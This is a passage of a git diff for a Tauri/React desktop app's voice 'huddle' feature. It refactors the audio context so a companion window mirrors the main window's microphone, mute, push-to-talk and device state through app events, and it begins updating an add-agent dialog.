+  const [reactionEvents, setReactionEvents] = React.useState<RelayEvent[]>([]);
 
   const fetchReactions = React.useCallback(async (): Promise<
     RelayEvent[] | null
@@ -288,6 +346,7 @@ export function useInboxThreadContext(
 
   React.useEffect(() => {
     let isCancelled = false;
+    setReactionEvents([]);
 
     void fetchReactions().then((fetched) => {
       if (!isCancelled && fetched !== null) {
@@ -313,6 +372,8 @@ export function useInboxThreadContext(
       ? options.hasChannelLoadError === true
       : hasLoadError,
     isLoading: fullChannel ? options.isChannelLoading === true : isLoading,
+    structuralEvents,
+    refreshStructuralEvents,
     reactionEvents,
     refreshReactions,
   };
diff --git a/desktop/src/features/huddle/HuddleContext.tsx b/desktop/src/features/huddle/HuddleContext.tsx
index 03620838a3..d63b669f15 100644
--- a/desktop/src/features/huddle/HuddleContext.tsx
+++ b/desktop/src/features/huddle/HuddleContext.tsx
@@ -1,11 +1,17 @@
 import { invoke } from "@tauri-apps/api/core";
-import { listen } from "@tauri-apps/api/event";
+import { emit, listen } from "@tauri-apps/api/event";
 import * as React from "react";
 
 import { setupAudioWorklet, type AudioWorkletHandle } from "./lib/audioWorklet";
-import { useAudioDevices } from "./lib/useAudioDevices";
+import { type AudioInputDevice, useAudioDevices } from "./lib/useAudioDevices";
 import { formatHuddleActionError } from "./lib/huddleError";
+import {
+  type VoiceInputMode,
+  useHuddlePttState,
+} from "./lib/useHuddlePttState";
+import { useHuddleSpeakerActivity } from "./lib/useHuddleSpeakerActivity";
 import { useTtsSubscription } from "./lib/useTtsSubscription";
+import type { HuddleContextValue } from "./HuddleContext.types";
 
 /**
  * Huddle lifecycle (React context):
@@ -20,7 +26,25 @@ type HuddleJoinInfo = {
   ephemeral_channel_id: string;
 };
 
-type VoiceInputMode = "push_to_talk" | "voice_activity";
+type HuddleAudioMirrorState = {
+  isMuted: boolean;
+  micConnected: boolean;
+  audioDevices: AudioInputDevice[];
+  selectedDeviceId: string;
+  micGain: number;
+  voiceInputMode: VoiceInputMode;
+};
+
+type HuddleAudioCommand =
+  | { type: "request-state" }
+  | { type: "set-muted"; isMuted: boolean }
+  | { type: "set-input-device"; deviceId: string }
+  | { type: "set-mic-gain"; gain: number }
+  | { type: "set-voice-input-mode"; mode: VoiceInputMode };
+
+const HUDDLE_AUDIO_COMMAND_EVENT = "huddle-audio-command";
+const HUDDLE_AUDIO_STATE_EVENT = "huddle-audio-state";
+const HUDDLE_AUDIO_LEVEL_EVENT = "huddle-audio-level";
 
 const MIC_ANALYSER_UPDATE_INTERVAL_MS = 33;
 const PIPELINE_HOTSTART_INTERVAL_MS = 15_000;
@@ -41,64 +65,32 @@ function clamp01(value: number): number {
   return Math.min(1, Math.max(0, value));
 }
 
-interface HuddleContextValue {
-  /** Current local audio track (for mute toggle in HuddleBar) */
-  localAudioTrack: MediaStreamTrack | null;
-  /** Whether a huddle is being started (for button disabled state) */
-  isStarting: boolean;
-  /** Last start/join error message — display in UI and clear with clearHuddleError */
-  huddleError: string | null;
-  /** Dismiss the current huddleError */
-  clearHuddleError: () => void;
-  /** Whether the mic connection is live */
-  micConnected: boolean;
-  /** Current mic input level 0–1 (updated via requestAnimationFrame) */
-  micLevel: number;
-  /** Whether the PTT key is currently held (for UI feedback) */
-  pttActive: boolean;
-  /** Current voice input mode — push_to_talk or voice_activity */
-  voiceInputMode: VoiceInputMode;
-  /** Toggle voice input mode (persisted to Rust backend) */
-  setVoiceInputMode: (mode: VoiceInputMode) => Promise<void>;
-  /** Pubkeys of currently speaking participants (from Rust backend) */
-  activeSpeakers: string[];
-  /** Available audio input devices */
-  audioDevices: MediaDeviceInfo[];
-  /** Currently selected mic device ID (empty string = system default) */
-  selectedDeviceId: string;
-  /** Select a different mic — takes effect on next huddle start/join */
-  setSelectedDeviceId: (id: string) => void;
-  /** Mic input gain 0–1 */
-  micGain: number;
-  /** Adjust mic input gain — applied immediately to the active audio graph */
-  setMicGain: (value: number) => void;
-  /** Available audio output devices */
-  outputDevices: { name: string; is_default: boolean }[];
-  /** Currently selected output device name (empty = system default) */
-  selectedOutputDevice: string;
-  /** Select a different speaker — takes effect on next huddle start/join */
-  setSelectedOutputDevice: (name: string) => void;
-  /** Active ephemeral huddle channel ID, if this client is connected to one. */
-  activeEphemeralChannelId: string | null;
-  /** Start a new huddle — calls Rust start_huddle, then connects mic + AudioWorklet */
-  startHuddle: (
-    parentChannelId: string,
-    memberPubkeys: string[],
-    channelName?: string,
-  ) => Promise<void>;
-  /** Join an existing huddle — calls Rust join_huddle, then connects mic + AudioWorklet */
-  joinHuddle: (
-    parentChannelId: string,
-    ephemeralChannelId: string,
-  ) => Promise<void>;
-  /** Leave the current huddle — stops worklet, stops mic, calls Rust leave_huddle.
-   *  Returns true if backend cleanup succeeded, false if it failed (caller may retry). */
-  leaveHuddle: () => Promise<boolean>;
+function interruptAgentSpeech(agentPubkey: string) {
+  return invoke<void>("interrupt_huddle_speech", { agentPubkey });
 }
 
 const HuddleContext = React.createContext<HuddleContextValue | null>(null);
 
-export function HuddleProvider({ children }: { children: React.ReactNode }) {
+export function HuddleProvider({
+  children,
+  ownsAudioSession = true,
+  onHuddleStartPendingChange,
+  onHuddleStarted,
+  onShowHuddleInMainApp,
+  onViewHuddleChannel,
+}: {
+  children: React.ReactNode;
+  /** A companion huddle window mirrors the session but must not end it on close. */
+  ownsAudioSession?: boolean;
+  /** Keeps the main-app drawer suppressed while a new huddle is handed to its companion window. */
+  onHuddleStartPendingChange?: (pending: boolean) => void;
+  /** Called after a huddle has connected its local audio. */
+  onHuddleStarted?: (ephemeralChannelId: string) => void | Promise<void>;
+  /** Reveals a huddle's temporary channel and navigates the main app to it. */
+  onShowHuddleInMainApp?: (ephemeralChannelId: string) => void;
+  /** Reveals an active or archived Huddle channel in the main app. */
+  onViewHuddleChannel?: (ephemeralChannelId: string) => void;
+}) {
   const workletRef = React.useRef<AudioWorkletHandle | null>(null);
   const tokenRef = React.useRef(0);
   const busyRef = React.useRef(false);
@@ -110,31 +102,90 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
   const [huddleError, setHuddleError] = React.useState<string | null>(null);
   const clearHuddleError = React.useCallback(() => setHuddleError(null), []);
   const [micConnected, setMicConnected] = React.useState(false);
+  const [isMuted, setIsMuted] = React.useState(false);
+  const isMutedRef = React.useRef(isMuted);
+  isMutedRef.current = isMuted;
+  const micConnectedRef = React.useRef(micConnected);
+  micConnectedRef.current = micConnected;
+  const [mirroredAudioState, setMirroredAudioState] =
+    React.useState<HuddleAudioMirrorState | null>(null);
+  const [mirroredMicLevel, setMirroredMicLevel] = React.useState(0);
   const [micLevel, setMicLevel] = React.useState(0);
-  /** Whether the PTT key is currently held */
-  const [pttActive, setPttActive] = React.useState(false);
-  /** Current voice input mode */
-  const [voiceInputMode, setVoiceInputModeState] =
-    React.useState<VoiceInputMode>("voice_activity");
-  /** Ref tracking latest voiceInputMode — read inside connectAndSetupMedia to
-   *  avoid stale closure capture when the user toggles mode mid-start. */
-  const voiceInputModeRef = React.useRef<VoiceInputMode>("voice_activity");
-  voiceInputModeRef.current = voiceInputMode;
+  const {
+    getVoiceInputMode,
+    pttActive,
+    setVoiceInputModeState,
+    voiceInputMode,
+  } = useHuddlePttState(micConnected);
+  // Manual mute remains independently controllable in every input mode. The
+  // PTT shortcut temporarily opens a manually muted microphone while held.
+  const locallyMuted =
+    isMuted && !(voiceInputMode === "push_to_talk" && pttActive);
+  const locallyMutedRef = React.useRef(locallyMuted);
+  locallyMutedRef.current = locallyMuted;
   /** Ephemeral channel ID — set after start_huddle/join_huddle, used for TTS subscription */
   const [ephemeralChannelId, setEphemeralChannelId] = React.useState<
     string | null
   >(null);
   /** Self pubkey — fetched once, used to filter out own messages from TTS */
   const selfPubkeyRef = React.useRef<string | null>(null);
-  /** Pubkeys of participants currently speaking (from Rust backend via Tauri event) */
-  const [activeSpeakers, setActiveSpeakers] = React.useState<string[]>([]);
+  const { activeSpeakers, resetSpeakerActivity, speakerLevels } =
+    useHuddleSpeakerActivity();
   const {
-    audioDevices,
-    selectedDeviceId,
-    setSelectedDeviceId,
-    micGain,
-    setMicGain,
+    audioDevices: localAudioDevices,
+    selectedDeviceId: localSelectedDeviceId,
+    setSelectedDeviceId: setLocalSelectedDeviceId,
+    micGain: localMicGain,
+    setMicGain: setLocalMicGain,
   } = useAudioDevices(workletRef);
+  const audioDevices = ownsAudioSession
+    ? localAudioDevices
+    : (mirroredAudioState?.audioDevices ?? []);
+  const selectedDeviceId = ownsAudioSession
+    ? localSelectedDeviceId
+    : (mirroredAudioState?.selectedDeviceId ?? "");
+  const micGain = ownsAudioSession
+    ? localMicGain
+    : (mirroredAudioState?.micGain ?? 1);
+  const effectiveVoiceInputMode = ownsAudioSession
+    ? voiceInputMode
+    : (mirroredAudioState?.voiceInputMode ?? voiceInputMode);
+  const effectiveIsMuted = ownsAudioSession
+    ? locallyMuted
+    : (mirroredAudioState?.isMuted ?? true);
+  const setSelectedDeviceId = React.useCallback(
+    (deviceId: string) => {
+      if (ownsAudioSession) {
+        setLocalSelectedDeviceId(deviceId);
+        return;
+      }
+      setMirroredAudioState((previous) =>
+        previous ? { ...previous, selectedDeviceId: deviceId } : previous,
+      );
+      void emit(HUDDLE_AUDIO_COMMAND_EVENT, {
+        type: "set-input-device",
+        deviceId,
+      } satisfies HuddleAudioCommand);
+    },
+    [ownsAudioSession, setLocalSelectedDeviceId],
+  );
+  const setMicGain = React.useCallback(
+    (gain: number) => {
+      const clamped = Math.max(0, Math.min(1, gain));
+      if (ownsAudioSession) {
+        setLocalMicGain(clamped);
+        return;
+      }
+      setMirroredAudioState((previous) =>
+        previous ? { ...previous, micGain: clamped } : previous,
+      );
+      void emit(HUDDLE_AUDIO_COMMAND_EVENT, {
+        type: "set-mic-gain",
+        gain: clamped,
+      } satisfies HuddleAudioCommand);
+    },
+    [ownsAudioSession, setLocalMicGain],
+  );
   /** Audio output devices from Rust backend */
   const [outputDevices, setOutputDevices] = React.useState<
     { name: string; is_default: boolean }[]
@@ -182,93 +233,186 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
   const micGainRef = React.useRef(1);
   micGainRef.current = micGain;
 
-  // Bootstrap voice input mode from Rust backend on mount.
-  // Ensures frontend stays in sync after remount/recovery.
+  // Toggle voice input mode — persists to Rust backend and updates worklet gating.
+  const setVoiceInputMode = React.useCallback(
+    async (mode: VoiceInputMode) => {
+      await invoke("set_voice_input_mode", { mode });
+      setVoiceInputModeState(mode);
+      if (ownsAudioSession) {
+        workletRef.current?.setMode(mode);
+      } else {
+        void emit(HUDDLE_AUDIO_COMMAND_EVENT, {
+          type: "set-voice-input-mode",
+          mode,
+        } satisfies HuddleAudioCommand);
+      }
+    },
+    [ownsAudioSession, setVoiceInputModeState],
+  );
+
+  // Keep disconnectMedia stable so setting the track cannot re-fire the
+  // unmount cleanup during startup.
+  const audioTrackRef = React.useRef<MediaStreamTrack | null>(null);
+  audioTrackRef.current = localAudioTrack;
+
+  // Keep the browser track and worklet aligned with the combined manual/PTT
+  // state. The worklet tracks the manual state separately so a PTT release
+  // does not remute a microphone the user explicitly left open.
   React.useEffect(() => {
-    invoke<VoiceInputMode>("get_voice_input_mode")
-      .then((mode) => setVoiceInputModeState(mode))
-      .catch(() => {
-        /* best-effort — default is voice_activity */
+    if (!ownsAudioSession || !audioTrackRef.current) return;
+    audioTrackRef.current.enabled = !locallyMuted;
+    workletRef.current?.setTransmitting(!isMuted);
+  }, [isMuted, locallyMuted, ownsAudioSession]);
+
+  const toggleMute = React.useCallback(() => {
+    if (!ownsAudioSession) {
+      const nextMuted = !(mirroredAudioState?.isMuted ?? false);
+      setMirroredAudioState((previous) => ({
+        isMuted: nextMuted,
+        micConnected: previous?.micConnected ?? false,
+        audioDevices: previous?.audioDevices ?? [],
+        selectedDeviceId: previous?.selectedDeviceId ?? "",
+        micGain: previous?.micGain ?? 1,
+        voiceInputMode: previous?.voiceInputMode ?? voiceInputMode,
+      }));
+      // The companion never owns a MediaStream. Send the intended state, not
+      // a toggle, so a delayed initial state response cannot invert the main
+      // window's live microphone track.
+      void emit(HUDDLE_AUDIO_COMMAND_EVENT, {
+        type: "set-muted",
+        isMuted: nextMuted,
       });
-  }, []);
+      return;
+    }
+
+    // Set the effective state promised by the button instead of inverting the
+    // hidden manual preference, which can differ while PTT is held.
+    const requestedMuted = !locallyMuted;
+    setIsMuted(requestedMuted);
+    void invoke("set_huddle_manual_mic_unmuted", {
+      enabled: !requestedMuted,
+    });
+  }, [
+    locallyMuted,
+    mirroredAudioState?.isMuted,
+    ownsAudioSession,
+    voiceInputMode,
+  ]);
 
-  // Active speakers from Rust backend (emitted by the audio relay recv task).
   React.useEffect(() => {
     let cancelled = false;
     let unlisten: (() => void) | null = null;
-    listen<string[]>("huddle-active-speakers", (event) => {
-      if (!cancelled) setActiveSpeakers(event.payload);
+    let requestRetry: number | null = null;
+
+    listen<HuddleAudioMirrorState>(HUDDLE_AUDIO_STATE_EVENT, (event) => {
+      if (!cancelled && !ownsAudioSession) {
+        if (requestRetry !== null) {
+          window.clearInterval(requestRetry);
+          requestRetry = null;
+        }
+        setMirroredAudioState(event.payload);
+        setVoiceInputModeState(event.payload.voiceInputMode);
+      }
     }).then((fn) => {
-      if (cancelled) fn();
-      else unlisten = fn;
+      if (cancelled) {
+        fn();
+        return;
+      }
+      unlisten = fn;
+
+      if (!ownsAudioSession) {
+        // Register the response listener before asking the main window for its
+        // browser-owned microphone state. The prior fire-and-forget request
+        // could be answered before this listener existed, leaving the room
+        // window permanently stuck in its "microphone unavailable" fallback.
+        const requestState = () => {
+          void emit(HUDDLE_AUDIO_COMMAND_EVENT, {
+            type: "request-state",
+          } satisfies HuddleAudioCommand);
+        };
+        requestState();
+        // A brief retry also covers the main window rebuilding its listener
+        // during a device-change render. It stops with the first response.
+        requestRetry = window.setInterval(requestState, 500);
+      }
     });
+
     return () => {
       cancelled = true;
+      if (requestRetry !== null) window.clearInterval(requestRetry);
       unlisten?.();
     };
-  }, []);
+  }, [ownsAudioSession, setVoiceInputModeState]);
 
-  // Persistent AudioContext for PTT audio cues — reused across all PTT presses
-  // to avoid exhausting the browser's ~6 concurrent AudioContext limit.
-  const pttAudioCtxRef = React.useRef<AudioContext | null>(null);
-
-  // PTT state from Rust (Ctrl+Space). UI feedback + 50ms audio cue when mic active.
-  // Actual audio gating is in audioWorklet.ts → worklet.js.
   React.useEffect(() => {
+    if (!ownsAudioSession) return;
+
+    const state: HuddleAudioMirrorState = {
+      isMuted: locallyMuted,
+      micConnected,
+      audioDevices: localAudioDevices,
+      selectedDeviceId: localSelectedDeviceId,
+      micGain: localMicGain,
+      voiceInputMode,
+    };
+    void emit(HUDDLE_AUDIO_STATE_EVENT, state);
+
     let cancelled = false;
     let unlisten: (() => void) | null = null;
-    listen<boolean>("ptt-state", (event) => {
+    listen<HuddleAudioCommand>(HUDDLE_AUDIO_COMMAND_EVENT, (event) => {
       if (cancelled) return;
-      setPttActive(event.payload);
-      if (micConnected) {
-        try {
-          if (
-            !pttAudioCtxRef.current ||
-            pttAudioCtxRef.current.state === "closed"
-          ) {
-            pttAudioCtxRef.current = new AudioContext();
-          }
-          const ac = pttAudioCtxRef.current;
-          const osc = ac.createOscillator();
-          const g = ac.createGain();
-          osc.connect(g);
-          g.connect(ac.destination);
-          osc.frequency.value = event.payload ? 880 : 440;
-          g.gain.value = 0.05;
-          osc.start();
-          osc.stop(ac.currentTime + 0.05);
-        } catch {
-          /* best-effort */
-        }
+      if (event.payload.type === "set-muted") {
+        const requestedMuted = event.payload.isMuted;
+        setIsMuted(() => {
+          void invoke("set_huddle_manual_mic_unmuted", {
+            enabled: !requestedMuted,
+          });
+          return requestedMuted;
+        });
+        return;
+      }
+      if (event.payload.type === "set-input-device") {
+        setLocalSelectedDeviceId(event.payload.deviceId);
+        return;
       }
+      if (event.payload.type === "set-mic-gain") {
+        setLocalMicGain(event.payload.gain);
+        return;
+      }
+      if (event.payload.type === "set-voice-input-mode") {
+        setVoiceInputModeState(event.payload.mode);
+        workletRef.current?.setMode(event.payload.mode);
+        return;
+      }
+      void emit(HUDDLE_AUDIO_STATE_EVENT, {
+        isMuted: locallyMutedRef.current,
+        micConnected: micConnectedRef.current,
+        audioDevices: localAudioDevices,
+        selectedDeviceId: localSelectedDeviceId,
+        micGain: localMicGain,
+        voiceInputMode,
+      } satisfies HuddleAudioMirrorState);
     }).then((fn) => {
       if (cancelled) fn();
       else unlisten = fn;
     });
+
     return () => {
       cancelled = true;
       unlisten?.();
-      // Close the PTT AudioContext when the effect is cleaned up.
-      if (pttAudioCtxRef.current && pttAudioCtxRef.current.state !== "closed") {
-        void pttAudioCtxRef.current.close();
-        pttAudioCtxRef.current = null;
-      }
     };
-  }, [micConnected]);
-
-  // Toggle voice input mode — persists to Rust backend and updates worklet gating.
-  const setVoiceInputMode = React.useCallback(async (mode: VoiceInputMode) => {
-    await invoke("set_voice_input_mode", { mode });
-    setVoiceInputModeState(mode);
-    workletRef.current?.setMode(mode);
-  }, []);
-
-  // Ref-track the current audio track so disconnectMedia is stable (no
-  // dependency on localAudioTrack state). This prevents the unmount-cleanup
-  // effect from re-firing mid-startup when setLocalAudioTrack triggers a
-  // leaveHuddle dependency chain update.
-  const audioTrackRef = React.useRef<MediaStreamTrack | null>(null);
-  audioTrackRef.current = localAudioTrack;
+  }, [
+    locallyMuted,
+    localAudioDevices,
+    localMicGain,
+    localSelectedDeviceId,
+    micConnected,
+    ownsAudioSession,
+    setLocalMicGain,
+    setLocalSelectedDeviceId,
+    setVoiceInputModeState,
+    voiceInputMode,
+  ]);
 
   /** Stop AudioWorklet and mic track. Best-effort on all steps. */
   const disconnectMedia = React.useCallback(async () => {
@@ -284,8 +428,52 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
     setLocalAudioTrack(null);
     setMicConnected(false);
     setEphemeralChannelId(null);
-    setActiveSpeakers([]);
-  }, []); // Stable — reads track from ref, not state.
+    resetSpeakerActivity();
+  }, [resetSpeakerActivity]); // Stable — reads track from ref, not state.
+
+  // Keep the browser-owned session keyed to Rust across provider remounts. A
+  // restored main window has not called connectAndSetupMedia, so without this
+  // hydration its active Huddle channel is mistaken for a normal channel.
+  // The companion can also end the native Huddle while the main window still
+  // owns capture; release that shared capture as soon as Rust announces Idle.
+  React.useEffect(() => {
+    if (!ownsAudioSession) return;
+
+    type HuddleBackendState = {
+      phase?: string;
+      ephemeral_channel_id?: string | null;
+    };
+
+    const applyBackendState = (state: HuddleBackendState) => {
+      if (state.phase === "idle") {
+        void disconnectMedia();
+        return;
+      }
+      if (state.ephemeral_channel_id) {
+        setEphemeralChannelId(state.ephemeral_channel_id);
+      }
+    };
+
+    let cancelled = false;
+    let unlisten: (() => void) | null = null;
+    void invoke<HuddleBackendState>("get_huddle_state")
+      .then((state) => {
+        if (!cancelled && state) applyBackendState(state);
+      })
+      .catch(() => {
+        /* best-effort; lifecycle events remain authoritative */
+      });
+    void listen<HuddleBackendState>("huddle-state-changed", (event) => {
+      if (!cancelled) applyBackendState(event.payload);
+    }).then((cleanup) => {
+      if (cancelled) cleanup();
+      else unlisten = cleanup;
+    });
+    return () => {
+      cancelled = true;
+      unlisten?.();
+    };
+  }, [disconnectMedia, ownsAudioSession]);
 
   const leaveHuddle = React.useCallback(async (): Promise<boolean> => {
     await disconnectMedia();
@@ -316,7 +504,7 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
       setLocalAudioTrack(null);
       setMicConnected(false);
       setEphemeralChannelId(null);
-      setActiveSpeakers([]);
+      resetSpeakerActivity();
       if (rustActiveRef.current) {
         if (isCreator) {
           try {
@@ -336,7 +524,7 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
         }
       }
     },
-    [],
+    [resetSpeakerActivity],
   );
 
   /**
@@ -356,9 +544,9 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
       setLocalAudioTrack(null);
       setMicConnected(false);
       setEphemeralChannelId(null);
-      setActiveSpeakers([]);
+      resetSpeakerActivity();
     },
-    [],
+    [resetSpeakerActivity],
   );
 
   /** Shared media setup: get mic, setup AudioWorklet, confirm active.
@@ -409,11 +597,11 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
         setMicConnected(true);
 
         // Setup AudioWorklet — PCM goes to Rust via push_audio_pcm
-        const initialTransmitting =
-          voiceInputModeRef.current !== "push_to_talk";
+        audioTrack.enabled = !locallyMutedRef.current;
         const worklet = await setupAudioWorklet(
           audioTrack,
-          initialTransmitting,
+          getVoiceInputMode(),
+          !isMutedRef.current,
         );
         worklet.setGain(micGainRef.current);
 
@@ -437,7 +625,7 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
         throw err;
       }
     },
-    [selectedDeviceId],
+    [getVoiceInputMode, selectedDeviceId],
   );
 
   const startHuddle = React.useCallback(
@@ -452,8 +640,11 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
       tokenRef.current += 1;
       const myToken = tokenRef.current;
 
+      isMutedRef.current = false;
+      setIsMuted(false);
       setHuddleError(null);
       setIsStarting(true);
+      onHuddleStartPendingChange?.(true);
       try {
         const joinInfo = await invoke<HuddleJoinInfo>("start_huddle", {
           parentChannelId,
@@ -470,6 +661,13 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
           }
           throw e;
         }
+        try {
+          await onHuddleStarted?.(joinInfo.ephemeral_channel_id);
+        } catch (error) {
+          // Opening the companion is presentation-only. Keep the connected
+          // huddle alive if its window cannot be opened.
+          console.error("Failed to present newly started huddle:", error);
+        }
       } catch (e) {
         const msg = e instanceof Error ? e.message : String(e);
         if (isRedundantHuddlePhaseError(msg)) {
@@ -484,19 +682,41 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
         console.error("Failed to start huddle:", e);
         throw e;
       } finally {
+        onHuddleStartPendingChange?.(false);
         setIsStarting(false);
         busyRef.current = false;
       }
     },
-    [cleanupFailedStart, cleanupSupersededStart, connectAndSetupMedia],
+    [
+      cleanupFailedStart,
+      cleanupSupersededStart,
+      connectAndSetupMedia,
+      onHuddleStartPendingChange,
+      onHuddleStarted,
+    ],
+  );
+
+  const showHuddleInMainApp = React.useCallback(
+    (channelId: string) => onShowHuddleInMainApp?.(channelId),
+    [onShowHuddleInMainApp],
+  );
+  const viewHuddleChannel = React.useCallback(
+    (channelId: string) => onViewHuddleChannel?.(channelId),
+    [onViewHuddleChannel],
   );
 
   const joinHuddle = React.useCallback(
-    async (parentChannelId: string, ephemeralChannelId: string) => {
+    async (
+      parentChannelId: string,
+      ephemeralChannelId: string,
+      huddleThreadEventId?: string,
+    ) => {
       if (busyRef.current) return;
       busyRef.current = true;
       tokenRef.current += 1;
       const myToken = tokenRef.current;
+      isMutedRef.current = false;
+      setIsMuted(false);
       setHuddleError(null);
       setIsStarting(true);
 
@@ -504,6 +724,7 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
         const joinInfo = await invoke<HuddleJoinInfo>("join_huddle", {
           parentChannelId,
           ephemeralChannelId,
+          huddleThreadEventId,
         });
         rustActiveRef.current = true;
 
@@ -516,6 +737,13 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
           }
           throw e;
         }
+        try {
+          await onHuddleStarted?.(joinInfo.ephemeral_channel_id);
+        } catch (error) {
+          // Presentation failure must not disconnect a successfully joined
+          // huddle; the user can still open its companion from the main app.
+          console.error("Failed to present joined huddle:", error);
+        }
       } catch (e) {
         const msg = e instanceof Error ? e.message : String(e);
         if (isRedundantHuddlePhaseError(msg)) {
@@ -534,10 +762,21 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
         busyRef.current = false;
       }
     },
-    [cleanupFailedStart, cleanupSupersededStart, connectAndSetupMedia],
+    [
+      cleanupFailedStart,
+      cleanupSupersededStart,
+      connectAndSetupMedia,
+      onHuddleStarted,
+    ],
   );
 
-  useTtsSubscription(ephemeralChannelId, selfPubkeyRef);
+  // The main window owns the browser audio session and therefore the one TTS
+  // subscription. Companion windows receive native playback activity events,
+  // but must not enqueue the same reply a second time.
+  useTtsSubscription(
+    ownsAudioSession ? ephemeralChannelId : null,
+    selfPubkeyRef,
+  );
 
   // Pipeline hot-start — check if voice models finished downloading mid-huddle
   React.useEffect(() => {
@@ -623,14 +862,37 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
     };
   }, [localAudioTrack, micConnected]);
 
+  React.useEffect(() => {
+    if (ownsAudioSession) {
+      void emit(HUDDLE_AUDIO_LEVEL_EVENT, micLevel);
+    }
+  }, [micLevel, ownsAudioSession]);
+
+  React.useEffect(() => {
+    if (ownsAudioSession) return;
+    let cancelled = false;
+    let unlisten: (() => void) | null = null;
+    void listen<number>(HUDDLE_AUDIO_LEVEL_EVENT, (event) => {
+      if (!cancelled) setMirroredMicLevel(event.payload);
+    }).then((cleanup) => {
+      if (cancelled) cleanup();
+      else unlisten = cleanup;
+    });
+    return () => {
+      cancelled = true;
+      unlisten?.();
+    };
+  }, [ownsAudioSession]);
+
   // Cleanup on unmount only — stable ref prevents re-firing mid-startup.
   const leaveHuddleRef = React.useRef(leaveHuddle);
   leaveHuddleRef.current = leaveHuddle;
   React.useEffect(() => {
+    if (!ownsAudioSession) return;
     return () => {
       void leaveHuddleRef.current();
     };
-  }, []);
+  }, [ownsAudioSession]);
 
   // Unexpected audio-owner/pod disconnects are recoverable: keep the huddle,
   // mic, and voice pipelines live while Rust reconnects only the audio WS.
@@ -638,6 +900,8 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
   // in-flight guard collapses duplicate disconnect events from failed dials.
   const audioReconnectInFlightRef = React.useRef(false);
   React.useEffect(() => {
+    if (!ownsAudioSession) return;
+
     let cancelled = false;
     let unlisten: (() => void) | null = null;
     listen("huddle-audio-disconnected", () => {
@@ -684,7 +948,7 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
       cancelled = true;
       unlisten?.();
     };
-  }, []);
+  }, [ownsAudioSession]);
 
   return (
     <HuddleContext.Provider
@@ -693,12 +957,18 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
         isStarting,
         huddleError,
         clearHuddleError,
-        micConnected,
-        micLevel,
+        micConnected: ownsAudioSession
+          ? micConnected
+          : (mirroredAudioState?.micConnected ?? false),
+        isMuted: effectiveIsMuted,
+        toggleMute,
+        interruptAgentSpeech,
+        micLevel: ownsAudioSession ? micLevel : mirroredMicLevel,
         pttActive,
-        voiceInputMode,
+        voiceInputMode: effectiveVoiceInputMode,
         setVoiceInputMode,
         activeSpeakers,
+        speakerLevels,
         audioDevices,
         selectedDeviceId,
         setSelectedDeviceId,
@@ -708,6 +978,8 @@ export function HuddleProvider({ children }: { children: React.ReactNode }) {
         selectedOutputDevice,
         setSelectedOutputDevice,
         activeEphemeralChannelId: ephemeralChannelId,
+        showHuddleInMainApp,
+        viewHuddleChannel,
         startHuddle,
         joinHuddle,
         leaveHuddle,
diff --git a/desktop/src/features/huddle/HuddleContext.types.ts b/desktop/src/features/huddle/HuddleContext.types.ts
new file mode 100644
index 0000000000..311366cb86
--- /dev/null
+++ b/desktop/src/features/huddle/HuddleContext.types.ts
@@ -0,0 +1,42 @@
+import type { AudioInputDevice } from "./lib/useAudioDevices";
+import type { VoiceInputMode } from "./lib/useHuddlePttState";
+
+export interface HuddleContextValue {
+  localAudioTrack: MediaStreamTrack | null;
+  isStarting: boolean;
+  huddleError: string | null;
+  clearHuddleError: () => void;
+  micConnected: boolean;
+  isMuted: boolean;
+  toggleMute: () => void;
+  /** Interrupt this agent only if it still owns the active utterance. */
+  interruptAgentSpeech: (agentPubkey: string) => Promise<void>;
+  micLevel: number;
+  pttActive: boolean;
+  voiceInputMode: VoiceInputMode;
+  setVoiceInputMode: (mode: VoiceInputMode) => Promise<void>;
+  activeSpeakers: string[];
+  speakerLevels: Record<string, number>;
+  audioDevices: AudioInputDevice[];
+  selectedDeviceId: string;
+  setSelectedDeviceId: (id: string) => void;
+  micGain: number;
+  setMicGain: (value: number) => void;
+  outputDevices: { name: string; is_default: boolean }[];
+  selectedOutputDevice: string;
+  setSelectedOutputDevice: (name: string) => void;
+  activeEphemeralChannelId: string | null;
+  showHuddleInMainApp: (ephemeralChannelId: string) => void;
+  viewHuddleChannel: (ephemeralChannelId: string) => void;
+  startHuddle: (
+    parentChannelId: string,
+    memberPubkeys: string[],
+    channelName?: string,
+  ) => Promise<void>;
+  joinHuddle: (
+    parentChannelId: string,
+    ephemeralChannelId: string,
+    huddleThreadEventId?: string,
+  ) => Promise<void>;
+  leaveHuddle: () => Promise<boolean>;
+}
diff --git a/desktop/src/features/huddle/components/AddAgentDialog.tsx b/desktop/src/features/huddle/components/AddAgentDialog.tsx
index 7dd3a2075f..2e403518da 100644
--- a/desktop/src/features/huddle/components/AddAgentDialog.tsx
+++ b/desktop/src/features/huddle/components/AddAgentDialog.tsx
@@ -1,20 +1,18 @@
 import { invoke } from "@tauri-apps/api/core";
-import { Bot } from "lucide-react";
+import { LoaderCircle } from "lucide-react";
 import * as React from "react";
 
-import { Button } from "@/shared/ui/button";
-import {
-  Dialog,
-  DialogContent,
-  DialogDescription,
-  DialogHeader,
-  DialogTitle,
-} from "@/shared/ui/dialog";
+import { ProfileAvatar } from "@/features/profile/ui/ProfileAvatar";
+import { Dialog } from "@/shared/ui/dialog";
+import { ChooserDialogContent } from "@/shared/ui/chooser-dialog-content";
+import type { ManagedAgentBackend } from "@/shared/api/types";
 
 type ManagedAgentSummary = {
   pubkey: string;
   name: string;
   status: string;
+  avatar_url: string | null;
+  backend: ManagedAgentBackend;
 };
 
 type AgentAddResult = {
@@ -24,12 +22,14 @@ type AgentAddResult = {
 };
 
 type AddAgentDialogProps = {
+  open: boolean;
